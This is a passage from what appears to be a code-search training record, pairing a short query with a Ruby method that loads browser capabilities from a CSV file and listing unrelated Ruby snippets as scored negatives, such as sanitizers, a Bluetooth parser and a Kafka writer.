1}\n end", "def valid_section_ordering?(proposed_ordering)\n valid_section_ids?(proposed_ordering, require_all: true)\n end", "def clean?\n return @hygiene > 7\n end", "def before_write_content(path, node, data, modified)\n return true unless node.is_a?(ICalendarObject)\n\n # We're onyl interested in ICalendarObject nodes that are inside of a\n # real calendar. This is to avoid triggering validation and scheduling\n # for non-calendars (such as an inbox).\n parent = Uri.split(path).first\n parent_node = @server.tree.node_for_path(parent)\n\n return true unless parent_node.is_a?(ICalendar)\n\n validate_i_calendar(\n data,\n path,\n modified,\n @server.http_request,\n @server.http_response,\n false\n )\n true\n end", "def sanitize_written_content(content)\n unless content[P_TAG] || content[BR_TAG]\n content = if content[BLOCKQUOTE_QUICK_SEARCH] && content[BLOCKQUOTE_TAG]\n content.gsub(LINEBREAK, BR)\n else\n simple_format_largebreak(content, sanitize: false)\n end\n end\n\n Glowfic::Sanitizers.written(content)\n end", "def test_parser_handles_unsupported_simple_content\n simple_content_assert nil, {}\n simple_content_assert nil, []\n end", "def sanitize_metadata\n return unless metadata_changed?\n sanitizers = {\n 'title' => [:html_entities],\n 'notes' => [:html, :css],\n 'endnotes' => [:html, :css],\n 'summary' => [:html]\n }\n sanitizers.each do |field, sanitizers|\n value = metadata[field]\n next if value.blank?\n self.metadata[field] = sanitized_value(value, sanitizers)\n end\n sanitize_associations\n end", "def read_auto_clean_up; end", "def ensure_not_referenced_by_any_item_line\n if item_lines.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\nend", "def is_text_in_order(locator, *text_fragments)\n container = Hpricot(get_text(locator))\n\n everything_found = true\n wasnt_found_message = \"Certain fragments weren't found:\\n\"\n\n everything_in_order = true\n wasnt_in_order_message = \"Certain fragments were out of order:\\n\"\n\n text_fragments.inject([-1, nil]) do |old_results, new_fragment|\n old_index = old_results[0]\n old_fragment = old_results[1]\n new_index = container.inner_html.index(new_fragment)\n\n unless new_index\n everything_found = false\n wasnt_found_message << \"Fragment #{new_fragment} was not found\\n\"\n end\n\n if new_index < old_index\n everything_in_order = false\n wasnt_in_order_message << \"Fragment #{new_fragment} out of order:\\n\"\n wasnt_in_order_message << \"\\texpected '#{old_fragment}'\\n\"\n wasnt_in_order_message << \"\\tto come before '#{new_fragment}'\\n\"\n end\n\n [new_index, new_fragment]\n end\n\n wasnt_found_message << \"\\n\\nhtml follows:\\n #{container.inner_html}\\n\"\n wasnt_in_order_message << \"\\n\\nhtml follows:\\n #{container.inner_html}\\n\"\n\n unless everything_found && everything_in_order\n yield(everything_found, wasnt_found_message, everything_in_order, wasnt_in_order_message)\n end\n end", "def body_has_meaningful_content?(body_elt)\n body_elt && body_elt.to_s != \"<body><p></p></body>\"\n end" ]
[ "0.5912322", "0.5490652", "0.5483633", "0.5385859", "0.52697223", "0.5243227", "0.5238788", "0.52343786", "0.52296", "0.52176046", "0.51921797", "0.51770526", "0.51381975", "0.5101896", "0.50921446", "0.50918025", "0.50628525", "0.5059682", "0.50581104", "0.5057526", "0.5053982", "0.50539434", "0.5018326", "0.5015868", "0.5011875", "0.4998358", "0.49839443", "0.49809885", "0.49652854", "0.49631682", "0.4951626", "0.49512255", "0.49436668", "0.49425063", "0.4939765", "0.49386358", "0.49376762", "0.49376762", "0.49376762", "0.4937657", "0.4936104", "0.4934091", "0.4930435", "0.49281156", "0.49269062", "0.4921258", "0.49154845", "0.49154845", "0.49154845", "0.49125376", "0.490595", "0.48976803", "0.48970258", "0.48931772", "0.48873687", "0.48842862", "0.4878689", "0.4876531", "0.48749942", "0.48741907", "0.486619", "0.48646006", "0.48581347", "0.48547357", "0.48493162", "0.48466095", "0.484654", "0.4834344", "0.48293507", "0.48132247", "0.48113748", "0.4808956", "0.4804328", "0.48027378", "0.4801223", "0.47998366", "0.4790773", "0.4784498", "0.4780912", "0.47783637", "0.4777255", "0.47707802", "0.47681195", "0.4757349", "0.4755183", "0.47488922", "0.4747895", "0.47448272", "0.4743138", "0.47423083", "0.4741757", "0.47399142", "0.47381166", "0.4735916", "0.47348243", "0.47342917", "0.47325847", "0.4731811", "0.47310537", "0.47277308", "0.47203022" ]
0.0
-1
Consider adding utility fields with chunk processing here
def capabilities_array(browser_csv) unless File.exists?(browser_csv) puts "Please provide a browser csv file and try again." finish end capabilities = SmarterCSV.process(browser_csv,:convert_values_to_numeric => false) capabilities.map do |caps| SauceGrabber::CapabilitiesFactory.new(caps, options[:tunnel]) end capabilities end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ignore_bad_chunking; end", "def ignore_bad_chunking; end", "def ignore_bad_chunking=(_arg0); end", "def preprocess(&block); end", "def each_chunk; end", "def processor; end", "def chunked?; end", "def read_chunk(chunk)\n puts \"[ESP DEBUG] - Read chunk #{chunk.name}...\" if @debug\n description = nil\n decoded_data = nil\n subchunks = []\n header = chunk.header\n case chunk.name\n when 'TES4'\n # Always read fields of TES4 as they define the masters, which are needed for others\n puts \"[ESP DEBUG] - Read children chunks of #{chunk}\" if @debug\n subchunks = chunk.sub_chunks(sub_chunks_format: {\n '*' => { header_size: 0, size_length: 2 },\n 'ONAM' => {\n data_size_correction: proc do |file|\n # Size of ONAM field is sometimes badly computed. Correct it.\n file.seek(4, IO::SEEK_CUR)\n stored_size = file.read(2).unpack('S').first\n file.read(chunk.size).index('INTV') - stored_size\n end\n }\n })\n chunk_type = :record\n when 'MAST'\n description = chunk.data[0..-2].downcase\n @masters << description\n @master_ids[sprintf('%.2x', @master_ids.size)] = description\n chunk_type = :field\n when 'GRUP'\n puts \"[ESP DEBUG] - Read children chunks of #{chunk}\" if @debug\n subchunks = chunk.sub_chunks(sub_chunks_format: Hash[(['GRUP'] + KNOWN_GRUP_RECORDS_WITHOUT_FIELDS + KNOWN_GRUP_RECORDS_WITH_FIELDS).map do |known_sub_record_name|\n [\n known_sub_record_name,\n {\n header_size: 16,\n data_size_correction: known_sub_record_name == 'GRUP' ? -24 : 0\n }\n ]\n end])\n chunk_type = :group\n when *KNOWN_GRUP_RECORDS_WITHOUT_FIELDS\n # GRUP record having no fields\n form_id_str = sprintf('%.8x', header[4..7].unpack('L').first)\n @form_ids << form_id_str\n description = \"FormID: #{form_id_str}\"\n puts \"[WARNING] - #{chunk} seems to have fields: #{chunk.data.inspect}\" if @warnings && chunk.data[0..3] =~ /^\\w{4}$/\n chunk_type = :record\n when *KNOWN_GRUP_RECORDS_WITH_FIELDS\n # GRUP record having fields\n form_id_str = sprintf('%.8x', header[4..7].unpack('L').first)\n @form_ids << form_id_str\n description = \"FormID: #{form_id_str}\"\n if @decode_fields\n puts \"[ESP DEBUG] - Read children chunks of #{chunk}\" if @debug\n subchunks = chunk.sub_chunks(sub_chunks_format: { '*' => { header_size: 0, size_length: 2 } })\n end\n chunk_type = :record\n when *KNOWN_FIELDS\n # Field\n record_module_name =\n if Data.const_defined?(chunk.parent_chunk.name.to_sym)\n chunk.parent_chunk.name.to_sym\n elsif Data.const_defined?(:All)\n :All\n else\n nil\n end\n unless record_module_name.nil?\n record_module = Data.const_get(record_module_name)\n data_class_name =\n if record_module.const_defined?(\"#{record_module_name}_#{chunk.name}\".to_sym)\n \"#{record_module_name}_#{chunk.name}\".to_sym\n elsif record_module.const_defined?(\"#{record_module_name}_All\".to_sym)\n \"#{record_module_name}_All\".to_sym\n else\n nil\n end\n unless data_class_name.nil?\n data_info = record_module.const_get(data_class_name)\n decoded_data = {}\n data_info.read(chunk.data).each_pair do |property, value|\n decoded_data[property] = value\n end\n end\n end\n chunk_type = :field\n else\n warning_desc = \"Unknown chunk: #{chunk}. Data: #{chunk.data.inspect}\"\n if @ignore_unknown_chunks\n puts \"[WARNING] - #{warning_desc}\" if @warnings\n @unknown_chunks << chunk\n chunk_type = :unknown\n else\n raise warning_desc\n end\n end\n # Decorate the chunk with our info\n esp_info = {\n description: description,\n type: chunk_type\n }\n esp_info[:decoded_data] = decoded_data unless decoded_data.nil?\n unless header.empty?\n header_class_name =\n if Headers.const_defined?(chunk.name.to_sym)\n chunk.name.to_sym\n elsif Headers.const_defined?(:All)\n :All\n else\n nil\n end\n unless header_class_name.nil?\n header_info = Headers.const_get(header_class_name)\n esp_info[:decoded_header] = {}\n header_info.read(header).each_pair do |property, value|\n esp_info[:decoded_header][property] = value\n end\n end\n end\n chunk.instance_variable_set(:@esp_info, esp_info)\n @chunks_tree[chunk] = subchunks\n subchunks.each.with_index do |subchunk, idx_subchunk|\n read_chunk(subchunk)\n end\n end", "def third_party_processors; end", "def ignore_bad_chunking=(ignore_bad_chunking); end", "def post_process; end", "def to_prepare_blocks; end", "def handle_grouped_chunk(grouped_chunk, bt_mode, timestamp)\n tx_power = nil\n grouped_chunk.each do |grp|\n\n # when we only have a single line in a group we can handle simply\n if grp.count == 1\n line = grp[0]\n\n # next line was not nested, treat as single line\n parse_single_line(line, bt_mode, timestamp, tx_power)\n\n # if we have multiple lines in our group of lines determine how to\n # process and set\n else\n case\n\n # these special messags had effectively duplicate header lines\n # which is be shifted off and then re-grouped\n when grp[0] =~ /^\\s+(LE|ATT|L2CAP)/\n grp.shift\n grp = group_by_depth(grp)\n grp.each do |entry|\n if entry.count == 1\n line = entry[0]\n parse_single_line(line, bt_mode, timestamp, tx_power)\n else\n handle_grouped_chunk(grp, bt_mode, timestamp)\n end\n end\n\n # Attribute type: Primary Service (0x2800)\n # UUID: Unknown (7905f431-b5ce-4e99-a40f-4b1e122d00d0)\n when grp[0] =~ /^\\s+Attribute type: Primary Service/\n vals = grp.map(&:strip)\n uuid = vals.select{|x| x =~ /^UUID/}[0]\n set_attr(\"#{bt_mode}_service_uuids\".to_sym, uuid.split(': ')[1])\n\n when grp[0] =~ /^\\s+Flags:/\n grp.shift\n vals = grp.map(&:strip)\n set_attr(\"#{bt_mode}_flags\".to_sym, vals.join(\", \"))\n\n\n # Page: 1/1\n # Features: 0x07 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n # Secure Simple Pairing (Host Support)\n # LE Supported (Host)\n # Simultaneous LE and BR/EDR (Host)\n when grp[0] =~ /^\\s+Page/\n page = grp.shift.split(':')[1].strip.split('/')[0]\n bitmap = grp.shift.split(':')[1].strip\n vals = grp.map(&:strip)\n set_attr(\"#{bt_mode}_features_bitmap\".to_sym, [page, bitmap])\n set_attr(\"#{bt_mode}_features\".to_sym, vals.join(\", \"))\n\n # Features: 0x07 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n # Secure Simple Pairing (Host Support)\n # LE Supported (Host)\n # Simultaneous LE and BR/EDR (Host)\n when grp[0] =~ /^\\s+Features/\n bitmap = grp.shift.split(':')[1].strip\n vals = grp.map(&:strip)\n\n # default page value is here set to '0'\n set_attr(\"#{bt_mode}_features_bitmap\".to_sym, ['0',bitmap])\n set_attr(\"#{bt_mode}_features\".to_sym, vals.join(\", \"))\n\n when grp[0] =~ /^\\s+Channels/\n header = grp.shift.split(':')[1].strip\n vals = grp.map(&:strip)\n vals.unshift(header)\n set_attr(\"#{bt_mode}_channels\".to_sym, vals.join(\", \"))\n\n # not in spec fixtures...\n # \" 128-bit Service UUIDs (complete): 2 entries\\r\\n\",\n # \" 00000000-deca-fade-deca-deafdecacafe\\r\\n\",\n # \" 2d8d2466-e14d-451c-88bc-7301abea291a\\r\\n\",\n when grp[0] =~ /128-bit Service UUIDs \\((complete|partial)\\):/\n grp.shift # header line\n vals = grp.map(&:strip)\n vals.each do |uuid|\n set_attr(\"#{bt_mode}_service_uuids\".to_sym, uuid)\n end\n\n # Company: Apple, Inc. (76)\n # Type: iBeacon (2)\n # UUID: 7988f2b6-dc41-1291-8746-ecf83cc7a06c\n # Version: 15104.61591\n # TX power: -56 dB\n # Data: 01adddd439aed386c76574e9ab9e11958e25c1f70ae203\n\n when grp[0] =~ /Company:/\n vals = grp.map(&:strip)\n\n #hack because datamapper doesn't respect varchar255 setting\n company_tmp = vals.shift.split(': ')[1]\n company_hex = company_tmp.scan(/\\(([^)]+)\\)/).flatten[0].to_i.to_s(16)\n if company_tmp.length > 49 && company_tmp.scan(/\\(/).count == 2\n company_tmp = company_tmp.split('(')\n company_tmp.delete_at(1)\n company_tmp = company_tmp.join('(')\n if company_tmp.length > 49\n BlueHydra.logger.warn(\"Attempted to handle long company and still too long:\")\n BlueHydra.logger.warn(\"company_tmp: #{company_tmp}\")\n BlueHydra.logger.warn(\"Truncating company...\")\n company_tmp = company_tmp[0,49]\n end\n end\n if company_tmp.length > 49\n BlueHydra.logger.warn(\"Did not attempt to handle long company and still too long:\")\n BlueHydra.logger.warn(\"company_tmp: #{company_tmp}\")\n BlueHydra.logger.warn(\"Truncating company...\")\n company_tmp = company_tmp[0,49]\n end\n\n set_attr(:company, company_tmp)\n\n # Company can also contain multiple types....\n # so we need to reset the parsing on every Type line\n\n # Company: Apple, Inc. (76)\n # Type: Unknown (12)\n # Data: 00188218be794011f7678726540b\n # Type: Unknown (16)\n # Data: 1b1ca2bea2\n\n company_type = nil\n company_type_last_set = nil\n vals.each do |company_line|\n case\n when company_line =~ /^Type:/\n company_type = company_line.split(': ')[1]\n company_type_hex = company_type.scan(/\\(([^)]+)\\)/).flatten[0].to_i.to_s(16)\n company_type_last_set = timestamp.split(': ')[1].to_f\n set_attr(:company_type, company_type)\n flipped_prox_uuid = nil\n major = nil\n minor = nil\n when company_line =~ /^UUID:/\n if company_type && company_type =~ /\\(2\\)/ && company_type_last_set && company_type_last_set == timestamp.split(': ')[1].to_f\n flipped_prox_uuid = company_line.split(': ')[1].gsub('-','').scan(/.{2}/).reverse.join.scan(/(.{8})(.{4})(.{4})(.*)/).join('-')\n set_attr(\"#{bt_mode}_proximity_uuid\".to_sym, flipped_prox_uuid)\n else\n set_attr(\"#{bt_mode}_company_uuid\".to_sym, company_line.split(': ')[1])\n end\n when company_line =~/^Version:/\n if company_type && company_type =~ /\\(2\\)/ && company_type_last_set && company_type_last_set == timestamp.split(': ')[1].to_f\n #bluez decodes this as little endian but it's actually big so we have to reverse it\n major = company_line.split(': ')[1].split('.')[0].to_i.to_s(16).rjust(4, '0').scan(/.{2}/).map { |i| i.to_i(16).chr }.join.unpack('S<*').first\n minor = company_line.split(': ')[1].split('.')[1].to_i.to_s(16).rjust(4, '0').scan(/.{2}/).map { |i| i.to_i(16).chr }.join.unpack('S<*').first\n set_attr(\"#{bt_mode}_major_num\".to_sym, major)\n set_attr(\"#{bt_mode}_minor_num\".to_sym, minor)\n else\n set_attr(\"#{bt_mode}_company_version\".to_sym, company_line.split(': ')[1])\n end\n when company_line =~ /^TX power:/\n tx_power = company_line.split(': ')[1]\n set_attr(\"#{bt_mode}_tx_power\".to_sym, tx_power)\n when company_line =~ /^Data:/\n set_attr(\"#{bt_mode}_company_data\".to_sym, company_line.split(': ')[1])\n end\n end\n\n # not in spec fixtures...\n # \" 16-bit Service UUIDs (complete): 7 entries\\r\\n\",\n # \" PnP Information (0x1200)\\r\\n\",\n # \" Handsfree Audio Gateway (0x111f)\\r\\n\",\n # \" Phonebook Access Server (0x112f)\\r\\n\",\n # \" Audio Source (0x110a)\\r\\n\",\n # \" A/V Remote Control Target (0x110c)\\r\\n\",\n # \" NAP (0x1116)\\r\\n\",\n # \" Message Access Server (0x1132)\\r\\n\",\n when grp[0] =~ /16-bit Service UUIDs \\(complete\\):/\n grp.shift # header line\n vals = grp.map(&:strip)\n vals.each do |uuid|\n set_attr(\"#{bt_mode}_uuids\".to_sym, uuid)\n end\n\n # not in spec fixtures...\n # \" Class: 0x7a020c\\r\\n\",\n # \" Major class: Phone (cellular, cordless, payphone, modem)\\r\\n\",\n # \" Minor class: Smart phone\\r\\n\",\n # \" Networking (LAN, Ad hoc)\\r\\n\",\n # \" Capturing (Scanner, Microphone)\\r\\n\",\n # \" Object Transfer (v-Inbox, v-Folder)\\r\\n\",\n # \" Audio (Speaker, Microphone, Headset)\\r\\n\",\n # \" Telephony (Cordless telephony, Modem, Headset)\\r\\n\",\n when grp[0] =~ /Class:/\n grp = grp.map(&:strip)\n vals = []\n\n grp.each do |line|\n case\n when line =~ /^Class:/\n vals << line.split(':')[1].strip\n when line =~ /^Major class:/\n set_attr(\"#{bt_mode}_major_class\".to_sym, line.split(':')[1].strip)\n when line =~ /^Minor class:/\n set_attr(\"#{bt_mode}_minor_class\".to_sym, line.split(':')[1].strip)\n else\n vals << line\n end\n end\n\n set_attr(\"#{bt_mode}_class\".to_sym, vals) unless vals.empty?\n\n when grp[0] =~ /^\\s+Manufacturer/\n grp.map do |line|\n parse_single_line(line, bt_mode, timestamp)\n end\n\n else\n set_attr(\"#{bt_mode}_unknown\".to_sym, grp.inspect)\n end\n end\n end\n end", "def pre_process\n end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process_blocks(blocks); end", "def parts; end", "def parts; end", "def parts; end", "def parse_chunk_ACCT stream\n parse_itemized_chunk stream, [\n {:name => :id},\n {:name => :name, :encoding => :aes256},\n {:name => :group, :encoding => :aes256},\n {:name => :url, :encoding => :hex},\n {:name => :extra},\n {:name => :favorite},\n {:name => :shared_from_id},\n {:name => :username, :encoding => :aes256},\n {:name => :password, :encoding => :aes256},\n {:name => :password_protected},\n {:name => :generated_password},\n {:name => :sn}, # ?\n {:name => :last_touched},\n {:name => :auto_login},\n {:name => :never_autofill},\n {:name => :realm_data},\n {:name => :fiid}, # ?\n {:name => :custom_js},\n {:name => :submit_id},\n {:name => :captcha_id},\n {:name => :urid}, # ?\n {:name => :basic_authorization},\n {:name => :method},\n {:name => :action, :encoding => :hex},\n {:name => :group_id},\n {:name => :deleted},\n {:name => :attach_key},\n {:name => :attach_present},\n {:name => :individual_share},\n {:name => :unknown1}\n ]\n end", "def processed_source=(_); end", "def processed_source=(_); end", "def before_processing\n end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def pre_block\n end", "def pre_block\n end", "def _part\n\n _save = self.pos\n while true # choice\n _tmp = apply('tag', :_tag)\n break if _tmp\n self.pos = _save\n _tmp = apply('chunk', :_chunk)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n return _tmp\n end", "def extra; end", "def map_processed_lines(response)\n end", "def post_reader; end", "def process(data)\n end", "def process(data)\n end", "def after_processing_hook; end", "def chunks\n @_chunks ||= find_chunks(input)\n end", "def chunks\n @_chunks ||= find_chunks(input)\n end", "def process_data\n raise NotImplementedError\n end", "def extract_meta\n end", "def fuse(_following_chunk)\n nil\n end", "def extract_metadata; end", "def include_gathered_data\n compile_user_data if @@aggregate.length == 6\n end", "def processing_instruction(name, content); end", "def processing_instruction(name, content); end", "def post_process\n end", "def test_listchunk_attributes\n\t\t\n\tend", "def section_preparation_finished\n end", "def test_reuse_existing_chunks_when_prepend\n CheckFile @writer, @ioservice, @adlers, 'test content', ['test ', 'conte', 'nt']\n CheckFile @writer, @ioservice, @adlers, 'a new test content', ['a new', ' ', 'test ', 'conte', 'nt']\n end", "def request(user_id, chunk_id)\n \n end", "def extract_fields\n @assets.each do |value| \n online_only = value['is_asset_online_event']\n if !online_only\n next if @online_auctions_only == true # save only online events\n end\n asset = get_required_fields(value,@required_fields)\n asset[:listed_date] = DateTime.now.strftime('%Y-%m-%d')\n asset[:end_date] = asset[:start_date] #because auction end date has not been specified in json object\n if value['buying_format'].strip == 'auction'\n asset[:auction] = true \n else\n asset[:auction] = false \n end\n next if asset[:current_price].nil? #Don't save assets who's price have not been set\n asset[:internet_sale] = online_only.nil? ? true : false\n asset[:img_large] = get_resource_link(asset[:img_large])\n asset[:img_thumbnail] = get_resource_link(asset[:img_thumbnail]) \n if value['auction_type'] == 'residential'\n asset[:residential] = true\n else\n asset[:residential] = false\n end\n log(\"Fetched property #{asset[:source_asset_id]} from #{@home_url}\")\n #check for field/parse errors here before pushing\n @assets_extracted.push(asset)\n end\n end", "def process(&block); end", "def process record\n yield get(self.part, record)\n end", "def tidy(data); end", "def pre_process(message)\n end", "def after_processing\n end", "def start_field=(_arg0); end", "def ignore_bad_chunking\n @agent.ignore_bad_chunking\n end", "def run_and_transform; end", "def view_flow; end", "def write(chunk)\n tag = chunk.metadata.tag\t\t\n $real_container = extract_placeholders(@container, chunk)\n\t\tarrays_2 = chunk_convert(chunk)\n\t\thandle_record(tag, DateTime.now, arrays_2)\n end", "def import!(foreign_rewriter, offset: T.unsafe(nil)); end", "def private; end", "def write(chunk)\n @writing_threads_mutex.synchronize { @writing_threads.add(Thread.current) }\n\n tag = chunk.metadata.tag\n topic = if @topic\n extract_placeholders(@topic, chunk)\n else\n (chunk.metadata.variables && chunk.metadata.variables[@topic_key_sym]) || @default_topic || tag\n end\n\n messages = 0\n\n base_headers = @headers\n mutate_headers = !@headers_from_record_accessors.empty?\n\n begin\n producer = get_producer\n chunk.msgpack_each { |time, record|\n begin\n record = inject_values_to_record(tag, time, record)\n record.delete(@topic_key) if @exclude_topic_key\n partition_key = (@exclude_partition_key ? record.delete(@partition_key_key) : record[@partition_key_key]) || @default_partition_key\n partition = (@exclude_partition ? record.delete(@partition_key) : record[@partition_key]) || @default_partition\n message_key = (@exclude_message_key ? record.delete(@message_key_key) : record[@message_key_key]) || @default_message_key\n\n if mutate_headers\n headers = base_headers.clone\n @headers_from_record_accessors.each do |key, header_accessor|\n headers[key] = header_accessor.call(record)\n end\n else\n headers = base_headers\n end\n\n unless @exclude_fields.empty?\n @exclude_field_accessors.each do |exclude_field_accessor|\n exclude_field_accessor.delete(record)\n end\n end\n\n record = @record_field_accessor.call(record) unless @record_field_accessor.nil?\n record_buf = @formatter_proc.call(tag, time, record)\n record_buf_bytes = record_buf.bytesize\n if @max_send_limit_bytes && record_buf_bytes > @max_send_limit_bytes\n log.warn \"record size exceeds max_send_limit_bytes. Skip event:\", :time => time, :record_size => record_buf_bytes\n log.debug \"Skipped event:\", :record => record\n next\n end\n rescue StandardError => e\n log.warn \"unexpected error during format record. Skip broken event:\", :error => e.to_s, :error_class => e.class.to_s, :time => time, :record => record\n next\n end\n\n log.trace { \"message will send to #{topic} with partition_key: #{partition_key}, partition: #{partition}, message_key: #{message_key} and value: #{record_buf}.\" }\n messages += 1\n\n producer.produce(record_buf, key: message_key, partition_key: partition_key, partition: partition, headers: headers,\n create_time: @use_event_time ? Time.at(time) : Time.now, topic: topic)\n }\n\n if messages > 0\n log.debug { \"#{messages} messages send.\" }\n if @discard_kafka_delivery_failed\n begin\n producer.deliver_messages\n rescue Kafka::DeliveryFailed => e\n log.warn \"DeliveryFailed occurred. Discard broken event:\", :error => e.to_s, :error_class => e.class.to_s, :tag => tag\n producer.clear_buffer\n end\n else\n producer.deliver_messages\n end\n end\n rescue Kafka::UnknownTopicOrPartition\n if @use_default_for_unknown_topic && topic != @default_topic\n log.warn \"'#{topic}' topic not found. Retry with '#{default_topic}' topic\"\n topic = @default_topic\n retry\n end\n raise\n end\n rescue Exception => e\n ignore = @ignore_exceptions.include?(e.class.name)\n\n log.warn \"Send exception occurred: #{e}\"\n log.warn \"Exception Backtrace : #{e.backtrace.join(\"\\n\")}\"\n log.warn \"Exception ignored in tag : #{tag}\" if ignore\n # For safety, refresh client and its producers\n refresh_client(false)\n # raise UnrecoverableError for backup ignored exception chunk\n raise Fluent::UnrecoverableError if ignore && exception_backup\n # Raise exception to retry sendind messages\n raise e unless ignore\n ensure\n @writing_threads_mutex.synchronize { @writing_threads.delete(Thread.current) }\n end", "def process_data(data, chunk)\n if data.row_count > 0\n unless @layout_mapped\n @columns.each{ |col| col.find_data_set_col(data) }\n @layout_mapped = true\n end\n data.each(false) do |row|\n out_row = []\n @columns.each do |ci|\n out_row << ci.populate_cell(row)\n end\n if !@suppress_missing || !@suppress_zero || out_row.find{ |cell| Numeric === cell && cell != 0 }\n @data << out_row\n end\n end\n end\n end", "def chunk_job(job, state, apikey, filename, filesize, start_response, storage)\n offset = 0\n seek_point = job[:seek_point]\n chunk_list = []\n\n while (offset < FilestackConfig::DEFAULT_CHUNK_SIZE) && (seek_point + offset) < filesize\n chunk_list.push(\n seek_point: seek_point,\n filename: filename,\n apikey: apikey,\n part: job[:part],\n size: job[:size],\n uri: start_response['uri'],\n region: start_response['region'],\n upload_id: start_response['upload_id'],\n location_url: start_response['location_url'],\n store: { location: storage },\n offset: offset\n )\n offset += state.offset\n end\n chunk_list\n end", "def perform_raw; end", "def processor=(_arg0); end", "def process chunk\n self.chunk = chunk\n\n\n raise_if chunk.value_size.positive?, \"Commit rows cannot have a non-zero value_size.\" if chunk.commit_row\n\n case state\n when NEW_ROW\n process_new_row\n when CELL_IN_PROGRESS\n process_cell_in_progress\n when ROW_IN_PROGRESS\n process_row_in_progress\n end\n end", "def setup\n @last_import_data = { string_field: \"import four\", integer_field: 4, extra_field: \" extra\" }\n end", "def run_internal\n log.debug(\"Loading in slices of #{@row_slice_size} rows\")\n reader.each_row_slice(@row_slice_size, @batch) do |rows|\n load_slice(rows)\n end\n msg = \"Processed #{reader.rows_processed} input rows for #{@series}\"\n\n ETL::Job::Result.success(reader.rows_processed, msg)\n end", "def get_remaining_fields(detail_page, job)\n job.full_part = get_full_part(detail_page)\n job.temp_reg = get_temp_reg(detail_page)\n job.start_date = get_start_date(detail_page)\n job.end_date = get_end_date(detail_page)\n job.contact_name = get_contact_name(detail_page)\n job.contact_phone = get_contact_phone(detail_page)\n end", "def process_result\n end", "def load_map_chunk_column column_x, column_z; end", "def enhance_batch!(conn, record_batch)\n return record_batch if record_batch.nil? || record_batch.empty?\n\n copy_info = get_joined_table(\n conn, record_batch,\n :table_name => \"copy\",\n :column_map => settings['horizon.copy_map'],\n :join_clause => settings['horizon.copy_join_clause'],\n :public_only => (settings['horizon.public_only'].to_s == \"true\")\n ) if %w{all copies direct}.include? settings['horizon.include_holdings'].to_s\n\n\n\n item_info = get_joined_table(\n conn, record_batch,\n :table_name => \"item\",\n :column_map => settings['horizon.item_map'],\n :join_clause => settings['horizon.item_join_clause'],\n :public_only => (settings['horizon.public_only'].to_s == \"true\")\n ) if %w{all items direct}.include? settings['horizon.include_holdings'].to_s\n\n\n\n if item_info || copy_info\n record_batch.each do |record|\n id = record['001'].value.to_s\n record_copy_info = copy_info && copy_info[id]\n record_item_info = item_info && item_info[id]\n\n record_copy_info.each do |copy_row|\n field = MARC::DataField.new( settings[\"horizon.copy_tag\"] )\n copy_row.each_pair do |subfield, value|\n field.append MARC::Subfield.new(subfield, value)\n end\n record.append field\n end if record_copy_info\n\n record_item_info.each do |item_row|\n field = MARC::DataField.new( settings[\"horizon.item_tag\"] )\n item_row.each_pair do |subfield, value|\n field.append MARC::Subfield.new(subfield, value)\n end\n record.append field\n end if record_item_info && ((settings['horizon.include_holdings'].to_s != \"direct\") || record_copy_info.empty?)\n end\n end\n\n return record_batch\n end", "def process_result(doc)\n entry = {}\n\n source = {}\n source = doc['_source'] if doc['_source']\n\n @es_fields.each do |field|\n # default empty value\n entry[field] = ''\n\n case field\n when :id\n entry[:id] = doc['_id'] if doc['_id']\n when :lang\n entry[:lang] = source['lang'] if source['lang']\n when :url\n entry[:url] = source['url'] if source['url']\n when :site\n if source['site'] && source['site'].is_a?(Array) \\\n && !source['site'].empty?\n\n # adjust to 2 different 'site' configurations\n if source['site'][0].include?('.')\n entry[:site] = source['site'][0]\n else\n entry[:site] = source['site'].join('.')\n end\n end\n when :keywords\n if source['keywords'] && source['keywords'].is_a?(Array) \\\n && !source['keywords'].empty?\n\n entry[:keywords] = source['keywords'].select{|word| word.size < 30 }\n entry[:keywords] = entry[:keywords].uniq.join(' ')\n end\n when :title\n entry[:title] = source['title'] if source['title']\n when :description\n entry[:description] = source['description'] if source['description']\n when :content\n entry[:content] = source['content'] if source['content']\n when :content_analyzed\n # recover array of [word, stem, pos]\n if source['content_analyzed']\n nlp = source['content_analyzed']\n entry[:content_nlp] = Xi::ML::Tools::Formatter.words_from_nlp(nlp)\n end\n else\n @logger.warn(\"Unknown requested field '#{field}'. \"\\\n 'You should add a new feature to the gem. '\\\n 'Otherwise it will always be empty')\n end\n end\n\n # store only contents of minimum '@min_nchars' characters\n if entry[:content].size < @min_nchars\n entry[:content] = ''\n return entry\n end\n\n # keep a reference content for content duplicate detection\n entry[:raw_content] = entry[:content]\n\n # include words from url, title and keywords into content\n # when present in the es_fields argument\n words = []\n\n if entry[:url] && !entry[:url].nil? && !entry[:url].empty?\n url = Unicode.downcase(entry[:url])\n words.concat(Xi::ML::Tools::Formatter.words_from_url(url).split())\n end\n\n if entry[:title] && !entry[:title].empty?\n title = Unicode.downcase(entry[:title])\n words.concat(title.split())\n end\n\n if entry[:keywords] && !entry[:keywords].empty?\n keywords = Unicode.downcase(entry[:keywords])\n words.concat(keywords.split())\n end\n\n unless words.empty?\n words.uniq!\n entry[:content] << ' ' << words.join(' ')\n end\n\n # replace possible 'new line' characters with a dot\n entry[:content].gsub!(/\\n\\r/, '. ')\n entry[:content].gsub!(/\\n/, '. ')\n\n # return processed entry\n entry\n end", "def remainder_as_buffer; end", "def test_chrm_chunk\n\n each_file_with_updated_info do\n |file_path|\n\n if @test_feature == \"c\" && @parameter[0] == \"c\"\n img = Imgrb::Image.new(file_path, :only_metadata)\n assert_equal [0.3127, 0.3290, 0.64, 0.33, 0.30, 0.60, 0.15, 0.06],\n img.ancillary_chunks[:cHRM][0].get_data\n end\n end\n\n\n img = Imgrb::Image.new(10, 10, [255,155,55])\n chrm_dat = [0.42, 0.32, 0.22, 0.11, 0.55, 0.44, 0.33, 0.22]\n chrm = Imgrb::Chunks::ChunkcHRM.assemble(*chrm_dat)\n img.add_chunk(chrm)\n\n png_str = save_png_to_string(img)\n img_saved = Imgrb::Image.new(png_str, :from_string)\n 